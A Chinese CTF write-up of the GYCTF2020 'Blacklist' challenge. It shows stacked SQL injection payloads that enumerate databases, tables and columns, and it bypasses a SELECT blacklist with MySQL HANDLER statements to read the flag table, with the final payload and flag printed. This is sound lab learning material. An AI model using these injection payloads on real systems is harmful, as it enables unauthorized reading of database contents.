2020/7/10 - [GYCTF2020]Blacklist - handler绕过sql黑名单


这个跟[强网杯 2019]随便注这道题有些类似,都是堆叠注入的形式,不同有
1.那个似乎是数字型注入,这个是字符型的注入
2.那个黑名单过滤的少,这个几乎能用的都过滤了

1.先看是什么类型的注入

分别用
1 or 1=1#
1’ or 1=1#
1" or 1=1#
执行测试,返回全部库信息的即是该类型。试一下,发现是单引号字符型注入。

2.测试堆叠注入

使用以下payload测试是否是堆叠注入

1';show databases;#

执行到了,说明就是堆叠注入,下面就是我们依次判断flag在哪里了。
判断表

1';show tables;#

查FlagHere表信息。

1';show columns from FlagHere;#

返回了这个

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

flag可能就在这个表里面,但是select与set、alter等众多关键词都被黑名单掉了,这里要利用HANDLER

通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。

通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。

通过HANDLER tbl_name CLOSE来关闭打开的句柄。

HANDLER的详细使用方法

3.最终payload

1';handler FlagHere open;handler FlagHere read first;Handler FlagHere close;#

获得flag

flag{7a2e4d0f-4bed-460a-99d7-e48fcf1032c4}

学习了学习了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

抒情诗、

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值